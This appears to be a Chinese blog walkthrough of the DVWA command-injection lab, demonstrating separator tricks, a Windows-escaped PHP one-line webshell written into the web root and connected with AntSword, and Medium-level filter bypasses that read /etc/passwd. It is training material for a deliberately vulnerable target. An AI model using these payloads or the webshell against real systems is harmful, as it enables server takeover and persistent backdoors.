DVWA_Vulnerability: Command Injection

Low

命令执行漏洞

什么是命令执行漏洞?

命令执行漏洞是指,攻击者能够通过应用程序,在运行该应用程序的服务器上直接执行任意的操作系统命令

简单来说,就是攻击者把你的服务器当成了他自己的终端,可以输入任何他想要的命令,比如查看文件、创建用户、下载病毒、删除数据等等

输入本地回环地址进行测试,即 127.0.0.1(注:127.0.0.1 - 这是最标准、最常用的环回地址)

可以看到这里执行了 ping 127.0.0.1 的命令

我们在终端执行 ping 命令是一样的捏

这类漏洞通常出现在Web应用程序中,当用户输入被直接传递给操作系统命令执行函数(如exec()system()popen()等)时,如果程序没有对输入进行严格的过滤和验证,攻击者就有可能通过注入特殊字符来执行任意命令。

这些特殊字符,即命令执行分隔符,在不同操作系统中有所不同:

  • 在Windows系统中,常见的分隔符包括:&|&&||

  • 在Linux系统中,除了上述字符,分号;也常被用作命令分隔符

首先我们来测试与(&/&&)

在 ping 127.0.0.1 的后面我们使用管道符与拼接继续执行命令 whoami

复制代码
127.0.0.1&whoami

可以看到除了执行 ping 命令,whoami 也被执行了,回显如下图:

再试试ipconfig

emmmm,雀食存在命令执行漏洞

试试不同的

复制代码
127.0.0.1&&ipconfig

我们再来ping个假的

复制代码
shuaige&&ipconfig

结果可以得出:当第一个命令执行失败(为假)

那么第二个命令(ipconfig)也不会被执行,这就是两个与的效果(&&)

我们再测试一个与

复制代码
shuaige&ipconfig

可以看到,虽然第一个命令执行失败,但是第二个命令还是被执行了,这就是一个与的效果(&)

前面的语句为假则直接执行后面的,前面可真可假,后面命令都会执行

接下来我们测试或(||、|)

复制代码
127.0.0.1|ipconfig

shuaige|ipconfig

可以看到

对于一个或, 无论第一个命令执行为真还是假,都是直接执行第二个命令

下面执行两个或(||)

复制代码
127.0.0.1||ipconfig

shuaige||ipconfig

可以看到对于两个或:

前面为真,只执行前面的,后面命令没有执行

若前面为假, 执行后面的,第二个命令被执行

最后我们尝试写入木马后门

首先使用 dir 命令查看当前目录下的文件

这里我们使用一个或,无论前面为真还是假,都直接执行后面的命令

复制代码
|dir

可以看到当前目录的位置路径,并且存在一个 index.php 即首页文件

我们尝试写入一个名为 shell.php 的一句话木马文件

这里在本地 cmd 测试是可行的,但是在靶场测试使用一个或却无法写入

因此我们换用与(&)即可

注意:在Windows系统下,尖括号 > 被用于输出重定向,因此如果直接在命令行中写入包含 > 的 PHP 代码,会被认为是输出重定向符号,从而导致语法错误。

我们需要使用 ^ 符号进行转义

复制代码
127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > D:\phpstudy_pro\WWW\DVWA\vulnerabilities\exec\shell.php

webshell 后门写入成功

写入 shell.php 后如果电脑开了防火墙或者杀毒软件肯定是会被检测到的,因为我们未做任何免杀处理,手动恢复文件即可

写入 shell.php 后如果电脑开了防火墙或者杀毒软件肯定是会被检测到的,因为我们未做任何免杀处理,手动恢复文件即可

查看木马内容

调用shell.php

system 函数执行成功,回显存在一定乱码,但是可以看到文件名

我们使用蚁剑进行连接

测试连接成功

添加后进入

直接拿下整个网站后台

看一下简单模式的源代码

Medium

一、漏洞原理分析

Medium难度下,DVWA对命令注入漏洞进行了基础防护,通过黑名单过滤了部分敏感字符和命令连接符。经测试发现,常见的&&、;、&等连接符已被过滤,但仍存在可利用的绕过方式。核心漏洞依然是服务器未对用户输入进行严格的参数化处理,直接将输入拼接到系统命令中执行。

二、信息收集与测试

  1. 功能测试:在输入框中输入127.0.0.1,页面返回正常的ping命令执行结果,说明基本功能正常,输入被传递给后端系统命令。
  2. 初步注入测试:尝试输入127.0.0.1 && ipconfig(Windows系统)或127.0.0.1 && ifconfig(Linux系统),页面无返回或提示错误,推测&&被过滤。
  3. 连接符绕过测试
    • 尝试127.0.0.1 & ipconfig:无结果,&可能被过滤。
    • 尝试127.0.0.1 ; ipconfig:无结果,;可能被过滤。
    • 尝试127.0.0.1 || ipconfig:当第一个命令执行失败时才执行第二个命令,此处127.0.0.1ping成功,故无结果。
    • 尝试127.0.0.1 | ipconfig(管道符):页面返回了ipconfig的结果!说明|未被过滤,可用于连接命令。

三、漏洞利用步骤

  1. 基本命令执行:使用管道符|连接命令,输入127.0.0.1 | whoami,页面返回当前用户身份(如nt authority\system或www-data)。
  2. 多命令执行:由于|只能连接单个后续命令,若需执行多条命令,可将命令用&&的URL编码%26%26或其他未过滤字符分隔(需进一步测试)。例如,输入127.0.0.1 | dir %26%26 whoami(Windows),若%26%26未被过滤,可依次执行dir和whoami。
  3. 文件操作:输入127.0.0.1 | echo "test" > C:\test.txt(Windows)或127.0.0.1 | echo "test" > /tmp/test.txt(Linux),可在目标服务器写入文件。
  4. 权限提升探测:输入127.0.0.1 | net user(Windows)或127.0.0.1 | cat /etc/passwd(Linux),查看用户信息,为后续权限提升做准备。

四、防御绕过总结

Medium难度主要过滤了&&、;、&等连接符,但未过滤管道符|,可直接使用|连接命令执行。此外,还可尝试以下绕过方式:

  • 命令分隔符替换:如用%0a(换行符)、%0d(回车符)等特殊字符分隔命令,输入127.0.0.1%0awhoami。
  • 黑名单绕过:若部分命令被过滤(如cat),可用more、less、tail等替代,输入127.0.0.1 | more /etc/passwd。
相关推荐
羑悻的小杀马特1 小时前
轻量跨云·掌控无界:Portainer CE + cpolar 让远程容器运维像点外卖一样简单——免复杂配置,安全直达对应集群
运维·网络·安全·docker·cpolar
我不是QI3 小时前
周志华《机器学习—西瓜书》二
人工智能·安全·机器学习
简道云平台3 小时前
缺货预警到底怎么做?终于有人把“安全库存”这件事讲清楚了
安全
AI绘画小335 小时前
Web 安全核心真相:别太相信任何人!40 个漏洞挖掘实战清单,直接套用!
前端·数据库·测试工具·安全·web安全·网络安全·黑客
北京耐用通信5 小时前
告别“牵一发而动全身”:耐达讯自动化Profibus PA分线器为石化流量计网络构筑安全屏障
人工智能·网络协议·安全·自动化·信息与通信
galaxylove6 小时前
Gartner发布2025年人工智能和网络安全技术成熟度曲线:网络安全领域对AI的期望值达到顶峰
人工智能·安全·web安全
pandarking6 小时前
[CTF]攻防世界:Lottery
web安全
galaxylove7 小时前
Gartner发布CISO人工智能安全指南:将AI安全治理融入所有网络安全治理体系
人工智能·安全·web安全
小曹要微笑7 小时前
MPU (Memory Protection Unit) 详解(嵌入式系统安全与可靠性的核心守护者)
安全·系统安全